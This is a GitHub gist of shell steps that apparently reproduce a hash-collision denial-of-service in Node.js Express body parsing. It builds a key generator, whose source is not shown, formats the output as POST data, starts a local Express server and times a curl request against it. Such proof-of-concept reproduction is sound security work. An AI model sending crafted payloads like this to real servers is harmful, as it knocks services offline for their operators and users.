Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
g++ -O3 crashgen.cpp -o crashgen
./crashgen > crash
^C
perl -p -e 's/\s+$/=1&/g' crash > postdata
cat>test.js <<EOF
var express = require('express');
var app = express.createServer();
app.use(express.bodyParser());
app.listen(9999);
app.post('/', function(req, res) {
res.end(Object.keys(req.body).length + ': ok\n');
});
EOF
npm install express
node test.js &
time curl -d @postdata http://localhost:9999
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.